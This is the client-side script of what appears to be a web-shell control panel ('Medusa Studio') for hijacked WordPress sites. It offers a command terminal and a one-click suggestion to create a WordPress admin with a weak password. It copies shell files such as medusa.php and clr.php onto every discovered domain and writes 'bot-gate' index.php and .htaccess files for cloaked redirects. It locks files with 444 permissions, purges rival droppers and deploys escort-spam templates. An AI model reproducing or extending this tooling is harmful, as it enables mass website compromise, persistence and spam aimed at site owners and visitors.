<input type="hidden" name="file_content" id="edSaveContent">
</form>
</div>
</div>
<!-- SCRIPTS -->
<script>
// ── Modals ──
function openModal(id){const m=document.getElementById(id);m.classList.remove('hidden');m.classList.add('flex');document.body.classList.add('modal-open');}
function closeModal(id){const m=document.getElementById(id);m.classList.add('hidden');m.classList.remove('flex');document.body.classList.remove('modal-open');}
function toggleMobileMenu(){document.getElementById('mobileMenu').classList.toggle('hidden');}
function closeMobileMenu(){document.getElementById('mobileMenu').classList.add('hidden');}
// ── Multiple File Upload ──
function updUploadNames(input) {
const container = document.getElementById('uploadFileNames');
if (input.files && input.files.length > 0) {
const names = Array.from(input.files).map(f => f.name);
container.textContent = names.join(', ');
container.classList.remove('hidden');
} else {
container.classList.add('hidden');
}
}
// ── Auto-dismiss status ──
document.addEventListener('DOMContentLoaded',()=>{
const s=document.getElementById('statusMsg');
if(s){setTimeout(()=>{s.style.opacity='0';s.style.transition='opacity 0.5s';},4000);setTimeout(()=>s.remove(),4600);}
hljs.highlightAll();
if(window._editorAutoLoad){
openEditorWith(window._editorAutoLoad.filename,window._editorAutoLoad.content,window._editorAutoLoad.indexKind||'');
}
});
// ── Bulk select ──
function toggleAll(cb){document.querySelectorAll('.item-check').forEach(c=>c.checked=cb.checked);updBulk();}
function updBulk(){
const ch=document.querySelectorAll('.item-check:checked');
const bar=document.getElementById('bulkBar');
document.getElementById('selectedCount').textContent=ch.length;
if(ch.length>0){bar.classList.remove('hidden');bar.classList.add('flex');}
else{bar.classList.add('hidden');bar.classList.remove('flex');}
document.getElementById('checkAll').checked=ch.length>0&&ch.length===document.querySelectorAll('.item-check').length;
}
function clearSel(){document.querySelectorAll('.item-check').forEach(c=>c.checked=false);document.getElementById('checkAll').checked=false;updBulk();}
function submitBulkDelete(){
const checked=document.querySelectorAll('.item-check:checked');
if(!checked.length)return;
if(!confirm('Delete '+checked.length+' selected item(s) permanently?'))return;
const container=document.getElementById('bulkItemsContainer');
container.innerHTML='';
checked.forEach(cb=>{
const inp=document.createElement('input');
inp.type='hidden';inp.name='selected_items[]';inp.value=cb.value;
container.appendChild(inp);
});
document.getElementById('bulkForm').submit();
}
// ── Chmod ──
function openChmod(f,p){
document.getElementById('chmodFilename').textContent=f;
document.getElementById('chmodFileInput').value=f;
const oct=p.length===4?p.slice(1):p;
document.getElementById('chmodOctal').value=oct;
syncBits(oct);
openModal('chmodModal');
}
function syncBits(v){
if(v.length<3)return;
const s=v.length===4?v.slice(1):v;
const bits=[];
for(const d of s)for(let b=2;b>=0;b--)bits.push(!!(parseInt(d)&(1<<b)));
document.querySelectorAll('.perm-bit').forEach((cb,i)=>{cb.checked=bits[i]||false;});
}
function updOctal(){
const bits=[...document.querySelectorAll('.perm-bit')].map(c=>c.checked?1:0);
let o='';
for(let i=0;i<9;i+=3)o+=String((bits[i]<<2)|(bits[i+1]<<1)|bits[i+2]);
document.getElementById('chmodOctal').value=o;
}
// ── Code Editor ──
let edCurrentFile='';
const extLangMap={php:'php',js:'javascript',ts:'typescript',html:'html',htm:'html',css:'css',json:'json',xml:'xml',sql:'sql',py:'python',sh:'bash',bash:'bash',md:'markdown'};
function loadAndEdit(filename){
const fd=new FormData();fd.append('editor_load',filename);
fetch(window.location.href,{method:'POST',body:fd})
.then(r=>r.text()).then(html=>{
const match=html.match(/window\._editorAutoLoad=(\{.*?\});/s);
if(match){
try{
const data=JSON.parse(match[1]);
openEditorWith(data.filename,data.content,data.indexKind||'');
}catch(e){openEditorWith(filename,'// Could not load file content','');}
}else{openEditorWith(filename,'// Could not load file content','');}
}).catch(()=>openEditorWith(filename,'// Network error',''));
}
function openEditorFromResultBox(){
const btn=document.querySelector('#resultBox button[data-filename]');
if(!btn)return;
const filename=btn.getAttribute('data-filename');
const rawTA=document.getElementById('resultRawContent');
const content=rawTA?rawTA.value:'';
openEditorWith(filename,content);
}
function fmShowIndexHint(kind){
const el=document.getElementById('edIndexHint');
if(!el)return;
if(!kind){
el.classList.add('hidden');
el.textContent='';
return;
}
el.classList.remove('hidden');
if(kind==='medusa_gate'){
el.className='px-4 py-2 text-[10px] border-b border-slate-700/50 flex-shrink-0 bg-emerald-500/10 text-emerald-300';
el.textContent='Medusa bot-gate (düz PHP). "BEGIN Medusa Studio bot-gate" görüyorsanız şifreli dropper değildir. fm.php/medusa.php yüklemek index\'i değiştirmez — panelden index uygulayın.';
}else if(kind==='obfuscated_malware'){
el.className='px-4 py-2 text-[10px] border-b border-slate-700/50 flex-shrink-0 bg-rose-500/10 text-rose-300';
el.textContent='⚠️ index.php şifreli/zararlı görünüyor (eval+base64, goto, tek satır blob…). FM: Temiz index / Orijinale dön + dropper temizliği.';
}else if(kind==='wordpress_stock'){
el.className='px-4 py-2 text-[10px] border-b border-slate-700/50 flex-shrink-0 bg-amber-500/10 text-amber-200';
el.textContent='Stok WordPress index — bot kapısı yok. Yönlendirme için panelden index + .htaccess uygulayın.';
}else{
el.className='px-4 py-2 text-[10px] border-b border-slate-700/50 flex-shrink-0 bg-slate-700/40 text-slate-400';
el.textContent='index.php tanınmadı ('+kind+'). İçeriği kontrol edin.';
}
}
function openEditorWith(filename,content,indexKind){
edCurrentFile=filename;
document.getElementById('edFname').textContent=filename;
document.getElementById('edSaveName').value=filename;
document.getElementById('edTA').value=content;
updLines();
const ext=filename.split('.').pop().toLowerCase();
const lang=extLangMap[ext]||'';
document.getElementById('edLang').value=lang;
fmShowIndexHint((filename.split('/').pop()||'').toLowerCase()==='index.php'?indexKind:'');
switchEdTab('edit');
openModal('editorModal');
}
function switchEdTab(tab){
const isEdit=tab==='edit';
document.getElementById('edPanelEdit').classList.toggle('hidden',!isEdit);
document.getElementById('edPanelPrev').classList.toggle('hidden',isEdit);
document.getElementById('tabEdit').className='px-3 py-2 text-[10px] font-medium transition-all border-b-2 '+(isEdit?'text-blue-400 border-blue-500':'text-slate-500 border-transparent hover:text-slate-300');
document.getElementById('tabPrev').className='px-3 py-2 text-[10px] font-medium transition-all border-b-2 '+(!isEdit?'text-blue-400 border-blue-500':'text-slate-500 border-transparent hover:text-slate-300');
if(!isEdit)hlPreview();
}
function hlPreview(){
const code=document.getElementById('edPreviewCode');
const lang=document.getElementById('edLang').value;
code.textContent=document.getElementById('edTA').value;
code.className=lang?'language-'+lang:'';
if(lang){hljs.highlightElement(code);}else{hljs.highlightAuto(code.textContent).then?(()=>{}):(code.innerHTML=hljs.highlightAuto(code.textContent).value);}
try{if(!lang)code.innerHTML=hljs.highlightAuto(document.getElementById('edTA').value).value;}catch(e){}
}
function updLines(){
const t=document.getElementById('edTA').value;
document.getElementById('edLines').textContent=t.split('\n').length+' lines';
document.getElementById('edChars').textContent=t.length+' chars';
}
function tabKey(e){
if(e.key==='Tab'){e.preventDefault();const t=e.target,s=t.selectionStart,en=t.selectionEnd;t.value=t.value.substring(0,s)+' '+t.value.substring(en);t.selectionStart=t.selectionEnd=s+4;updLines();}
}
function saveEditor(){
document.getElementById('edSaveName').value=edCurrentFile;
document.getElementById('edSaveContent').value=document.getElementById('edTA').value;
document.getElementById('edSaveForm').submit();
}
// ── TERMINAL ──
const terminalSuggestions = [
{ cmd: 'ls -la', desc: 'List all' },
{ cmd: 'ls -la | grep .php', desc: 'Find PHP' },
{ cmd: 'pwd', desc: 'Current dir' },
{ cmd: 'whoami', desc: 'Username' },
{ cmd: 'id', desc: 'User info' },
{ cmd: 'uname -a', desc: 'System info' },
{ cmd: 'df -h', desc: 'Disk usage' },
{ cmd: 'free -m', desc: 'RAM info' },
{ cmd: 'ps aux | grep php', desc: 'PHP processes' },
{ cmd: 'netstat -tulpn | grep LISTEN', desc: 'Open ports' },
{ cmd: 'find . -name "*.php" -type f', desc: 'Find all PHP' },
{ cmd: 'grep -r "eval(" .', desc: 'Find eval' },
{ cmd: 'grep -r "base64_decode" .', desc: 'Find base64' },
{ cmd: 'chmod 755 *.php', desc: 'CHMOD 755 PHP' },
{ cmd: 'chmod 644 *.html', desc: 'CHMOD 644 HTML' },
{ cmd: 'rm -rf cache/', desc: 'Delete cache' },
{ cmd: 'mkdir backup', desc: 'Create backup' },
{ cmd: 'cp -r wp-content backup/', desc: 'Backup wp-content' },
{ cmd: 'php -v', desc: 'PHP version' },
{ cmd: 'mysql -V', desc: 'MySQL version' },
{ cmd: 'wp user create admin 123456', desc: 'Create WP Admin' },
{ cmd: 'wp user create test 123456 test@site.com', desc: 'Create WP User' },
{ cmd: 'wp admin', desc: 'Open WP Admin' },
{ cmd: 'wp-open', desc: 'Open WP Admin' },
{ cmd: 'wp info', desc: 'WP Site info' },
{ cmd: 'wp plugins', desc: 'List plugins' },
{ cmd: 'wp themes', desc: 'List themes' },
{ cmd: 'wp cache clear', desc: 'Clear WP cache' },
{ cmd: 'wp help', desc: 'WP help' },
{ cmd: 'help', desc: 'Help' },
];
function showSuggestions(value) {
const container = document.getElementById('terminalSuggestions');
if (!value || value.length < 1) {
container.style.display = 'none';
return;
}
const matches = terminalSuggestions.filter(s =>
s.cmd.toLowerCase().includes(value.toLowerCase())
).slice(0, 6);
if (matches.length === 0) {
container.style.display = 'none';
return;
}
container.innerHTML = matches.map(s =>
`<div class="suggestion-item" onclick="selectSuggestion('${s.cmd}')">
${s.cmd}
<span class="desc">${s.desc}</span>
</div>`
).join('');
container.style.display = 'block';
}
function selectSuggestion(cmd) {
document.getElementById('cmdInput').value = cmd;
document.getElementById('terminalSuggestions').style.display = 'none';
document.getElementById('cmdInput').focus();
}
function handleTerminalKey(e) {
const container = document.getElementById('terminalSuggestions');
if (e.key === 'Escape') {
container.style.display = 'none';
return;
}
if (e.key === 'Enter' && container.style.display === 'block') {
const firstSuggestion = container.querySelector('.suggestion-item');
if (firstSuggestion) {
e.preventDefault();
firstSuggestion.click();
}
}
if (e.key === 'ArrowDown' || e.key === 'ArrowUp') {
const items = container.querySelectorAll('.suggestion-item');
if (items.length > 0) {
e.preventDefault();
let current = document.activeElement;
let idx = -1;
items.forEach((el, i) => { if (el === current) idx = i; });
if (e.key === 'ArrowDown') idx = Math.min(idx + 1, items.length - 1);
else idx = Math.max(idx - 1, 0);
if (idx >= 0 && idx < items.length) items[idx].focus();
}
}
}
// ── HTTPS URL listesi kopyala (Medusa Studio URL butonu) ──
function fmFlashCopyOk(){
var ok = document.getElementById('fmCopyHttpsOk');
if(!ok) return;
ok.classList.remove('hidden');
setTimeout(function(){ ok.classList.add('hidden'); }, 2200);
}
function fmCopyHttpsUrls(){
var ta = document.getElementById('fmCopyHttpsText');
var text = (ta && ta.value) ? ta.value.trim() : '';
if(!text){
alert('Liste boş — WWW kök tanımlayın veya WP sitelerini tarayın (🎯 hedef).');
return;
}
if(navigator.clipboard && navigator.clipboard.writeText){
navigator.clipboard.writeText(text).then(fmFlashCopyOk).catch(function(){
if(ta){ ta.removeAttribute('hidden'); ta.select(); document.execCommand('copy'); ta.setAttribute('hidden',''); fmFlashCopyOk(); }
});
} else if(ta){
ta.removeAttribute('hidden'); ta.select(); document.execCommand('copy'); ta.setAttribute('hidden',''); fmFlashCopyOk();
}
}
(function(){
var b1 = document.getElementById('fmCopyHttpsBtn');
var b2 = document.getElementById('fmCopyHttpsBtnMobile');
var b3 = document.getElementById('fmCopyHttpsBtnBar');
if(b1) b1.addEventListener('click', fmCopyHttpsUrls);
if(b2) b2.addEventListener('click', function(){ fmCopyHttpsUrls(); closeMobileMenu(); });
if(b3) b3.addEventListener('click', fmCopyHttpsUrls);
})();
// ── Cache Temizleme ──
function clearAllDomainsCache(){
if(confirm('⚠️ Keşfedilen TÜM WP sitelerinin cache\'i temizlenecek. Devam?')){
var form = document.createElement('form');
form.method = 'POST';
form.action = window.location.href;
var input = document.createElement('input');
input.type = 'hidden';
input.name = 'clear_all_domains_cache';
input.value = '1';
form.appendChild(input);
document.body.appendChild(form);
form.submit();
}
}
// ── All Domains (Deploy .htaccess + index.php) ──
function deployAllDomains(){
if(confirm('Fleet Deploy (KOPYA):\n• Kaynak .htaccess + index.php kopyalanır\n• Şifreli kaynak index varsa iptal\n\nTemiz index için «Index Fleet» kullanın.\n\nDevam?')){
var form = document.createElement('form');
form.method = 'POST';
form.action = window.location.href;
var input = document.createElement('input');
input.type = 'hidden';
input.name = 'deploy_all_domains';
input.value = '1';
form.appendChild(input);
document.body.appendChild(form);
form.submit();
}
}
function deployAllDomainsGenerated(){
if(!confirm('Fleet Deploy (ÜRET):\n• Her sitede temiz Medusa index.php yazılır\n• .htaccess bot-gate birleştirilir\n• Kaynak index KOPYALANMAZ\n\nDevam?')) return;
var form = document.createElement('form');
form.method = 'POST';
form.action = window.location.href;
[['deploy_all_domains','1'],['deploy_generate_clean_index','1']].forEach(function(p){
var i=document.createElement('input'); i.type='hidden'; i.name=p[0]; i.value=p[1]; form.appendChild(i);
});
document.body.appendChild(form);
form.submit();
}
function fmWriteCleanIndex(scope){
var fleet = scope === 'fleet';
var msg = fleet
? 'Tüm keşfedilen WP köklerinde temiz Medusa index.php (+ .htaccess) yazılsın mı?\n\nŞifreli mevcut index silinip düz bot-gate konur.\nvisitor_mode: site/medusa-settings.json veya vitrin varsayılan.'
: 'Bu sitenin WP köküne temiz index.php (+ .htaccess) yazılsın mı?\n\nŞifreli index üzerine yazılır.';
if(!confirm(msg)) return;
var form = document.createElement('form');
form.method = 'POST';
form.action = window.location.href;
var a = document.createElement('input');
a.type = 'hidden'; a.name = 'fm_write_clean_index'; a.value = '1';
form.appendChild(a);
var b = document.createElement('input');
b.type = 'hidden'; b.name = 'fm_write_clean_scope'; b.value = fleet ? 'fleet' : 'current';
form.appendChild(b);
document.body.appendChild(form);
form.submit();
}
function fmApplyUploadedIndex(scope){
var fleet = scope === 'fleet';
var msg = fleet
? 'Kaynak: bu klasördeki index.php → tüm WP köklerine KALICI uygula.\n\n• 444 kilidi açılır, içerik hash ile doğrulanır\n• Dropper geri yazarsa hata verir\n• Medusa/düz index Tara listesinden silinmez\n\nDevam?'
: 'Bu klasördeki index.php → WP köküne KALICI uygula.\n\n444 kilidi açılır, doğrulanır, .htaccess birleştirilir.\n\nDevam?';
if(!confirm(msg)) return;
var form = document.createElement('form');
form.method = 'POST';
form.action = window.location.href;
var a = document.createElement('input');
a.type = 'hidden'; a.name = 'fm_apply_uploaded_index'; a.value = '1';
form.appendChild(a);
var b = document.createElement('input');
b.type = 'hidden'; b.name = 'fm_apply_index_scope'; b.value = fleet ? 'fleet' : 'current';
form.appendChild(b);
if(confirm('index + .htaccess sonrası tekrar 444 kilitle? (Önerilir)')){
var c = document.createElement('input');
c.type = 'hidden'; c.name = 'fm_apply_index_relock'; c.value = '1';
form.appendChild(c);
}
document.body.appendChild(form);
form.submit();
}
function fmRestoreIndexBackup(){
if(!confirm('index.php.bak.fm.* veya .fm-index.sha256 ile eşleşen son DÜZ index WP köküne yazılsın mı?\n\nÖnce Dropper temizliği önerilir.')) return;
var form = document.createElement('form');
form.method = 'POST';
form.action = window.location.href;
var a = document.createElement('input');
a.type = 'hidden'; a.name = 'fm_restore_index_backup'; a.value = '1';
form.appendChild(a);
if(confirm('Sonrasında 444 kilitle?')){
var b = document.createElement('input');
b.type = 'hidden'; b.name = 'fm_restore_index_relock'; b.value = '1';
form.appendChild(b);
}
document.body.appendChild(form);
form.submit();
}
function fmInstallEmbeddedBundle(force){
var msg = force
? 'Gömülü FM paketi includes/ üzerine ZORLA yazılsın mı?\n\n(ms_index_library + SEO dosyaları)'
: 'Eksik FM paket dosyaları includes/ altına yazılsın mı?';
if(!confirm(msg)) return;
var form = document.createElement('form');
form.method = 'POST';
form.action = window.location.href;
var a = document.createElement('input');
a.type = 'hidden'; a.name = 'fm_install_embedded_bundle'; a.value = '1';
form.appendChild(a);
if(force){
var b = document.createElement('input');
b.type = 'hidden'; b.name = 'fm_install_bundle_force'; b.value = '1';
form.appendChild(b);
}
document.body.appendChild(form);
form.submit();
}
function fmQuickRepair(scope){
var fleet = scope === 'fleet';
var msg = fleet
? '⚡ FLEET HIZLI ONARIM:\n1) Gömülü paket kur\n2) Dropper temizliği\n3) Temiz index + .htaccess\n\nTüm keşfedilen siteler. Devam?'
: '⚡ HIZLI ONARIM (bu site):\n1) Gömülü paket kur\n2) Dropper temizliği\n3) Temiz index + .htaccess\n\nStudio / harici panel gerekmez. Devam?';
if(!confirm(msg)) return;
var form = document.createElement('form');
form.method = 'POST';
form.action = window.location.href;
var a = document.createElement('input');
a.type = 'hidden'; a.name = 'fm_quick_repair'; a.value = '1';
form.appendChild(a);
var b = document.createElement('input');
b.type = 'hidden'; b.name = 'fm_quick_repair_scope'; b.value = fleet ? 'fleet' : 'current';
form.appendChild(b);
if(confirm('license.html da üretilsin mi?')){
var c = document.createElement('input');
c.type = 'hidden'; c.name = 'fm_quick_repair_license'; c.value = '1';
form.appendChild(c);
}
document.body.appendChild(form);
form.submit();
}
// ── clr.php Deploy ──
function deployClrPhp(){
if(confirm('⚠️ clr.php dosyası TÜM domainlerin ana dizinine kopyalanacak. Devam et?')){
var form = document.createElement('form');
form.method = 'POST';
form.action = window.location.href;
var input = document.createElement('input');
input.type = 'hidden';
input.name = 'deploy_clr_php';
input.value = '1';
form.appendChild(input);
document.body.appendChild(form);
form.submit();
}
}
// ── medusa.php Deploy (wp-content) ──
function deployMedusaWpContent(){
if(confirm('⚠️ medusa.php dosyası TÜM domainlerin wp-content/ dizinine kopyalanacak. (wp-content yoksa atlanır) Devam et?')){
var form = document.createElement('form');
form.method = 'POST';
form.action = window.location.href;
var input = document.createElement('input');
input.type = 'hidden';
input.name = 'deploy_medusa_wpcontent';
input.value = '1';
form.appendChild(input);
document.body.appendChild(form);
form.submit();
}
}
function purgeMalwareAllDomains(includeWpContent){
var msg = includeWpContent
? '⚠️ TÜM sitelerde wp-content/wplog.php DAHİL dropper silinecek. Devam?'
: '⚠️ TÜM sitelerde js26564c + wp-admin/kök wplog silinecek (wp-content/wplog HARİÇ). Devam?';
if(!confirm(msg)) return;
var form = document.createElement('form');
form.method = 'POST';
form.action = window.location.href;
var a = document.createElement('input');
a.type = 'hidden'; a.name = 'purge_malware_all_domains'; a.value = '1';
form.appendChild(a);
if(includeWpContent){
var b = document.createElement('input');
b.type = 'hidden'; b.name = 'include_wp_content_wplog'; b.value = '1';
form.appendChild(b);
}
document.body.appendChild(form);
form.submit();
}
// ── mu-plugin / zararlı tarama ──
let fmMalwareItems = [];
function openMalwareScanModal(){
fmMalwareItems = [];
const list = document.getElementById('fmMalwareScanList');
const st = document.getElementById('fmMalwareScanStatus');
const btn = document.getElementById('fmMalwareDeleteBtn');
if(list) list.innerHTML = '<p class="text-slate-500 p-2">Tara ile başlayın.</p>';
if(st) st.textContent = '';
if(btn) btn.disabled = true;
openModal('malwareScanModal');
}
function fmRunMalwareScan(){
const st = document.getElementById('fmMalwareScanStatus');
const list = document.getElementById('fmMalwareScanList');
const btn = document.getElementById('fmMalwareDeleteBtn');
if(st) st.textContent = 'Taranıyor…';
if(list) list.innerHTML = '';
if(btn) btn.disabled = true;
const fd = new FormData();
fd.append('fm_ajax', 'malware_scan');
fd.append('scope', (document.getElementById('fmMalwareScope')||{}).value || 'current');
if(document.getElementById('fmMalwareIncWpc') && document.getElementById('fmMalwareIncWpc').checked){
fd.append('include_wp_content_wplog', '1');
}
fetch(window.location.href, {method:'POST', body:fd})
.then(r=>r.json())
.then(data=>{
if(!data.ok){
if(st) st.textContent = 'Hata: tarama başarısız';
return;
}
fmMalwareItems = data.items || [];
if(st) st.textContent = fmMalwareItems.length + ' aday bulundu';
if(fmMalwareItems.length === 0){
if(list) list.innerHTML = '<p class="text-emerald-400/90 p-2">Şüpheli dosya yok (veya mu-plugin listesi temiz).</p>';
return;
}
if(btn) btn.disabled = false;
let html = '<div class="flex items-center gap-2 mb-2 text-slate-400"><label class="flex items-center gap-1 cursor-pointer"><input type="checkbox" id="fmMalwareCheckAll" checked onchange="fmMalwareToggleAll(this.checked)"> Tümünü seç</label></div>';
fmMalwareItems.forEach((it, idx)=>{
const reasons = (it.reasons||[]).join(' · ');
const sz = it.size ? (it.size + ' B') : 'dir';
html += '<div class="flex gap-2 p-2 rounded-lg border border-slate-700/50 bg-slate-800/30 hover:bg-slate-800/50">'
+ '<label class="flex gap-2 flex-1 min-w-0 cursor-pointer">'
+ '<input type="checkbox" class="fm-malware-pick mt-0.5 shrink-0" data-idx="'+idx+'" checked>'
+ '<span class="flex-1 min-w-0"><span class="text-orange-300 mono">'+(it.domain||'')+'</span> '
+ '<span class="text-slate-200 mono break-all">'+escapeHtml(it.rel||'')+'</span>'
+ ' <span class="text-slate-600">('+escapeHtml(it.type||'')+' · '+sz+')</span><br>'
+ '<span class="text-rose-300/90">'+escapeHtml(reasons)+'</span></span></label>'
+ '<button type="button" class="shrink-0 px-2 py-1 text-[10px] rounded bg-slate-700 text-cyan-300 hover:bg-slate-600" onclick="fmMalwarePreview('+idx+')">Görüntüle</button>'
+ '</div>';
});
if(list) list.innerHTML = html;
})
.catch(()=>{ if(st) st.textContent = 'Ağ hatası'; });
}
function escapeHtml(s){
return String(s).replace(/&/g,'&').replace(/</g,'<').replace(/>/g,'>').replace(/"/g,'"');
}
function fmMalwareToggleAll(on){
document.querySelectorAll('.fm-malware-pick').forEach(cb=>{ cb.checked = on; });
}
let fmMalwarePreviewLast = null;
function fmMalwareClosePreview(){
document.getElementById('fmMalwarePreviewWrap').classList.add('hidden');
fmMalwarePreviewLast = null;
}
async function fmMalwarePreview(idx){
const it = fmMalwareItems[idx];
if(!it) return;
const wrap = document.getElementById('fmMalwarePreviewWrap');
const title = document.getElementById('fmMalwarePreviewTitle');
const body = document.getElementById('fmMalwarePreviewBody');
const meta = document.getElementById('fmMalwarePreviewMeta');
if(title) title.textContent = (it.domain||'') + ' → ' + (it.rel||'');
if(body) body.value = 'Yükleniyor…';
if(meta) meta.textContent = '';
wrap.classList.remove('hidden');
const fd = new FormData();
fd.append('fm_ajax', 'malware_preview');
fd.append('path_token', it.path_token || '');
fd.append('site_token', it.site_token || '');
try{
const r = await fetch(window.location.href, {method:'POST', body:fd});
const data = await r.json();
if(!data.ok){
if(body) body.value = 'Hata: ' + (data.error||'');
return;
}
fmMalwarePreviewLast = {filename: (it.rel||'file.php').split('/').pop(), content: data.content||''};
if(body) body.value = data.content||'';
if(meta) meta.textContent = (data.size ? data.size + ' bayt' : '') + (data.truncated ? ' · (ilk 180KB gösteriliyor)' : '');
}catch(e){
if(body) body.value = 'Ağ hatası';
}
}
function fmMalwarePreviewToEditor(){
if(!fmMalwarePreviewLast) return;
openEditorWith(fmMalwarePreviewLast.filename, fmMalwarePreviewLast.content, '');
}
async function fmMalwareDeleteConfirmed(){
const picks = [];
document.querySelectorAll('.fm-malware-pick:checked').forEach(cb=>{
const i = parseInt(cb.getAttribute('data-idx'), 10);
if(!isNaN(i) && fmMalwareItems[i]) picks.push(fmMalwareItems[i]);
});
if(picks.length === 0){
alert('Silinecek dosya seçilmedi.');
return;
}
if(!confirm(picks.length + ' dosya için TEK TEK onay sorulacak. Devam?')) return;
const st = document.getElementById('fmMalwareScanStatus');
let ok = 0, skip = 0, fail = 0;
for(const it of picks){
const reasons = (it.reasons||[]).join(', ');
const msg = 'SİL?\n\nSite: '+(it.domain||'')+'\nDosya: '+(it.rel||'')+'\nNeden: '+reasons;
if(!confirm(msg)){
skip++;
continue;
}
const fd = new FormData();
fd.append('fm_ajax', 'malware_delete_one');
fd.append('path_token', it.path_token || '');
fd.append('site_token', it.site_token || '');
try{
const r = await fetch(window.location.href, {method:'POST', body:fd});
const data = await r.json();
if(data.ok){ ok++; }
else{
fail++;
alert('Silinemedi: '+(it.rel||'')+'\n'+(data.error||''));
}
}catch(e){
fail++;
alert('Ağ hatası: '+(it.rel||''));
}
}
if(st) st.textContent = 'Bitti: '+ok+' silindi, '+skip+' atlandı, '+fail+' hata';
fmRunMalwareScan();
}
// ── License Deploy (Bodrum/Muğla escort) ──
function deployEscortTemplate(){
openModal('deployEscortModal');
}
function toggleDeployMode(mode){
var list=document.getElementById('manualTargetList');
var custom=document.getElementById('customPathWrap');
var show=mode==='manual';
if(list) list.classList.toggle('hidden', !show);
if(custom) custom.classList.toggle('hidden', !show);
}
</script>
</body>
</html>